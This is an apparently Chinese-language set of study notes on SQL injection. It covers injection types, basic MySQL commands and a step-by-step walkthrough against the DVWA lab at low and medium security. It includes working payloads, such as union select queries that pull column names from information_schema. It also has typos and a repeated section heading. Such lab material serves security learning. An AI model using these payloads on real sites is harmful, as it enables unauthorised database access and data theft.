[ SQL注入 ] (SQL:结构化查询语言,Structured Query Language)即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入方式:
提交方式分类:uGET注入 uPOST注入 uCookie注入 uHTTP头部注入
注入点类型分类:u数字型注入 u字符型注入 u搜索型注入
按照执行效果来分类:u基于布尔的盲注 u基于时间的盲注 u基于报错注入
u联合查询注入 u堆叠注入 u宽字节注入
一、SQL基本语法学习
一些最重要的 SQL 命令
SELECT - 从数据库中提取数据
UPDATE - 更新数据库中的数据
DELETE - 从数据库中删除数据
INSERT INTO - 向数据库中插入新数据
CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引
进入数据库:在CMD中cd到C:\phpStudy\PHPTutorial\MySQL\bin
如图,输入mysql -u root -p ,再输入密码即可进入mysql
1.查看所有库
SQL>show databases;
2.查看所有表 SQL>shoe tables;
3.查看表结构
SQL>DESC users;
3.查询所有列SQL>SELECT * FROM users;
3.查询指定列
SQL>SELECT user,password FROM user;
4.查询指定行
SQL>SELECT user FROM users WHERE user='admin';
5.使用逻辑操作符号
SQL>SELECT user FROM users WHERE user like ‘a%’;
5.1.使用like操作符(%,_ )
%表示-一个或多个字符,_表示- 一个字符,[charlist]表示字 符列中的任何单一字符,[^charlist]或者[!charlist]不在字符列中的任何单一字符。 .
SQL>SELECT * FROM emp WHERE ename like 'S_T%';
5.2.在where条件中使用In
SQL>SELECT * FROM emp WHERE job IN ('CLERK'ANALYST');
5.3.查询字段内容为空/非空的语句
SQL>SELECT * FROM emp WHERE mgr IS/IS NOT NULL;
二、SQL注入流程
1. 检测是否存在SQL注入漏洞:u手工测试 u扫描器
2. 探测后台数据库类型、属性:u采用不同的数据库注入策略包来进行进一步的取证和渗透
3. SQL注入: u数值型、字符型 u搜索型、错误型 u杂项型
3.1.判断是否存在注入,注入是字符型还是数字型
3.2.猜解当前数据库名>猜解数据库的长度>猜解数据库的名字
3.3.猜解数据库中的表名>猜解当前库中有多少个表(表的数量)→猜解表的长度>猜解表的名字
3.4.猜解表中的字段名>猜解当前表中有多少个字段(字段的
数量) >猜解字段的长度→猜解字段的名字
3.5.猜解数据
三、SQL注入(DVWA中的低中高)
(一)安全等级为Low
1.判断是否存在注入,注入是字符型还是数字型
查看源码可知注入为字符型
手工测试:1’ and ‘1’=‘1
1’ and ‘1’=‘2
2.猜解SQL查询语句中的字段数
1' order by 3#
字段数为2
3.确定显示位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
7.获取数据
(二)安全等级为Medium
1.判断是否存在注入,注入是字符型还是数字型
查看源码可知注入为数字型
手工测试:(用burp抓包)1 and 1=1
1’ and ‘1’=‘2
2.猜解SQL查询语句中的字段数
1 order by 3#
字段数为2
3.确定显示位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
7.获取数据
(三)安全等级为Medium
1.判断是否存在注入,注入是字符型还是数字型
查看源码可知注入为数字型
手工测试: 1’ or 1=1#
2.猜解SQL查询语句中的字段数
1 order by 3#
字段数为2
3.确定显示位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
7.获取数据
SQL注入流程:
1、判断是否存在注入,注入是字符型还是数字型
2、猜解SQL查询语句中的字段数
3、确定显示位置
4、获取当前数据库
5、获取数据库中的表
6、获取表中的字段名
7、获取数据